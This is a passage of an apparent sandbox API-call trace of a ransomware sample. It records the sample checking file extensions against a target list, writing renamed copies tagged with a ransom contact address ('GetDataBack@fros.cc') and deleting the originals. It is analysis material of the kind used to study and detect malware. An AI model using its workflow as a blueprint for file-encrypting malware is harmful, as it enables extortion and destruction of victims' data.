(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0135.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0135.519] lstrlenW (lpString=".doc") returned 4 [0135.519] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.519] lstrlenW (lpString=".docx") returned 5 [0135.519] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.519] lstrlenW (lpString=".pdf") returned 4 [0135.519] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.519] lstrlenW (lpString=".xls") returned 4 [0135.519] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.519] lstrlenW (lpString=".xlsx") returned 5 [0135.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.519] lstrlenW (lpString=".ppt") returned 4 [0135.519] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0135.519] lstrlenW (lpString=".zip") returned 4 [0135.519] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.520] lstrlenW (lpString=".rar") returned 4 [0135.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.520] lstrlenW (lpString=".bz2") returned 4 [0135.520] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.520] lstrlenW (lpString=".7z") returned 3 [0135.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0135.520] lstrlenW (lpString=".dbf") returned 4 [0135.520] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0135.520] lstrlenW (lpString=".1cd") returned 4 [0135.520] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0135.520] lstrlenW (lpString=".jpg") returned 4 [0135.520] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0137.634] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0137.634] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0137.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0137.634] GetLastError () returned 0x0 [0137.634] ReadFile (hFile=0x228, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0) Thread: id = 22 os_tid = 0xb44 [0113.852] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0113.852] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0113.852] Wow64DisableWow64FsRedirection (in: OldValue=0x204fd80 | out: OldValue=0x204fd80*=0x0) returned 1 [0113.852] lstrlenW (lpString="kernel32.dll") returned 12 [0113.852] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0113.852] Sleep (dwMilliseconds=0x64) [0114.200] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.200] lstrlenW (lpString="Setup.xml") returned 9 [0114.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0114.259] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2296) returned 1 [0114.259] CloseHandle (hObject=0x168) returned 1 [0114.259] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0114.259] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0114.260] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0114.260] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0114.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0114.260] GetLastError () returned 0x0 [0114.260] ReadFile (in: hFile=0x168, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x8f8, lpOverlapped=0x0) returned 1 [0114.271] WriteFile (in: hFile=0x16c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x900, lpOverlapped=0x0) returned 1 [0114.272] ReadFile (in: hFile=0x168, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0114.272] WriteFile (in: hFile=0x16c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0114.272] SetEndOfFile (hFile=0x16c) returned 1 [0114.272] CloseHandle (hObject=0x16c) returned 1 [0114.273] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0114.273] SetEndOfFile (hFile=0x168) returned 1 [0114.274] CloseHandle (hObject=0x168) returned 1 [0114.274] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.274] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0114.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.274] lstrlenW (lpString=".doc") returned 4 [0114.274] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.274] lstrlenW (lpString=".docx") returned 5 [0114.274] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.274] lstrlenW (lpString=".pdf") returned 4 [0114.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.274] lstrlenW (lpString=".xls") returned 4 [0114.274] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.274] lstrlenW (lpString=".xlsx") returned 5 [0114.274] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.274] lstrlenW (lpString=".ppt") returned 4 [0114.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.274] lstrlenW (lpString=".zip") returned 4 [0114.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.274] lstrlenW (lpString=".rar") returned 4 [0114.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.274] lstrlenW (lpString=".bz2") returned 4 [0114.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString=".7z") returned 3 [0114.275] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.275] lstrlenW (lpString=".dbf") returned 4 [0114.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.275] lstrlenW (lpString=".1cd") returned 4 [0114.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.275] lstrlenW (lpString=".jpg") returned 4 [0114.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.275] lstrlenW (lpString=".doc") returned 4 [0114.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString=".docx") returned 5 [0114.275] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.275] lstrlenW (lpString=".pdf") returned 4 [0114.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString=".xls") returned 4 [0114.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString=".xlsx") returned 5 [0114.275] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.275] lstrlenW (lpString=".ppt") returned 4 [0114.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.275] lstrlenW (lpString=".zip") returned 4 [0114.275] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.275] lstrlenW (lpString=".rar") returned 4 [0114.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.275] lstrlenW (lpString=".bz2") returned 4 [0114.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.276] lstrlenW (lpString=".7z") returned 3 [0114.276] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.276] lstrlenW (lpString=".dbf") returned 4 [0114.276] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.276] lstrlenW (lpString=".1cd") returned 4 [0114.276] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.276] lstrlenW (lpString=".jpg") returned 4 [0114.276] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.276] Sleep (dwMilliseconds=0x64) [0114.385] Sleep (dwMilliseconds=0x64) [0114.653] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.653] lstrlenW (lpString="Setup.xml") returned 9 [0114.653] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0114.657] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2424) returned 1 [0114.657] CloseHandle (hObject=0x178) returned 1 [0114.657] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0114.657] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0114.657] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0114.657] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0114.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.729] GetLastError () returned 0x0 [0114.729] ReadFile (in: hFile=0x178, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x978, lpOverlapped=0x0) returned 1 [0114.731] WriteFile (in: hFile=0x15c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x980, lpOverlapped=0x0) returned 1 [0114.732] ReadFile (in: hFile=0x178, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0114.732] WriteFile (in: hFile=0x15c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0114.732] SetEndOfFile (hFile=0x15c) returned 1 [0114.732] CloseHandle (hObject=0x15c) returned 1 [0114.733] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0114.733] SetEndOfFile (hFile=0x178) returned 1 [0114.734] CloseHandle (hObject=0x178) returned 1 [0114.734] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.734] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0114.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.735] lstrlenW (lpString=".doc") returned 4 [0114.735] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".docx") returned 5 [0114.735] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.735] lstrlenW (lpString=".pdf") returned 4 [0114.735] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".xls") returned 4 [0114.735] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".xlsx") returned 5 [0114.735] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.735] lstrlenW (lpString=".ppt") returned 4 [0114.735] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.735] lstrlenW (lpString=".zip") returned 4 [0114.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.735] lstrlenW (lpString=".rar") returned 4 [0114.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".bz2") returned 4 [0114.735] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".7z") returned 3 [0114.735] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.735] lstrlenW (lpString=".dbf") returned 4 [0114.735] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.735] lstrlenW (lpString=".1cd") returned 4 [0114.735] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.735] lstrlenW (lpString=".jpg") returned 4 [0114.735] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.736] lstrlenW (lpString=".doc") returned 4 [0114.736] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".docx") returned 5 [0114.736] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.736] lstrlenW (lpString=".pdf") returned 4 [0114.736] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".xls") returned 4 [0114.736] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".xlsx") returned 5 [0114.736] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.736] lstrlenW (lpString=".ppt") returned 4 [0114.736] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.736] lstrlenW (lpString=".zip") returned 4 [0114.736] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.736] lstrlenW (lpString=".rar") returned 4 [0114.736] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".bz2") returned 4 [0114.736] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".7z") returned 3 [0114.736] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.736] lstrlenW (lpString=".dbf") returned 4 [0114.736] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.736] lstrlenW (lpString=".1cd") returned 4 [0114.736] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.736] lstrlenW (lpString=".jpg") returned 4 [0114.736] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.737] Sleep (dwMilliseconds=0x64) [0115.508] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.508] lstrlenW (lpString="Setup.xml") returned 9 [0115.508] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.756] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1988) returned 1 [0115.756] CloseHandle (hObject=0x19c) returned 1 [0115.756] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.756] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.756] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.756] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.756] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.756] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0115.756] GetLastError () returned 0x0 [0115.756] ReadFile (in: hFile=0x19c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x7c4, lpOverlapped=0x0) returned 1 [0115.886] WriteFile (in: hFile=0x1a0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x7d0, lpOverlapped=0x0) returned 1 [0115.887] ReadFile (in: hFile=0x19c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0115.887] WriteFile (in: hFile=0x1a0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0115.887] SetEndOfFile (hFile=0x1a0) returned 1 [0115.887] CloseHandle (hObject=0x1a0) returned 1 [0115.888] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.888] SetEndOfFile (hFile=0x19c) returned 1 [0115.888] CloseHandle (hObject=0x19c) returned 1 [0115.888] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.889] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0115.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.889] lstrlenW (lpString=".doc") returned 4 [0115.889] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.889] lstrlenW (lpString=".docx") returned 5 [0115.889] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.889] lstrlenW (lpString=".pdf") returned 4 [0115.889] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.889] lstrlenW (lpString=".xls") returned 4 [0115.889] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.889] lstrlenW (lpString=".xlsx") returned 5 [0115.889] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 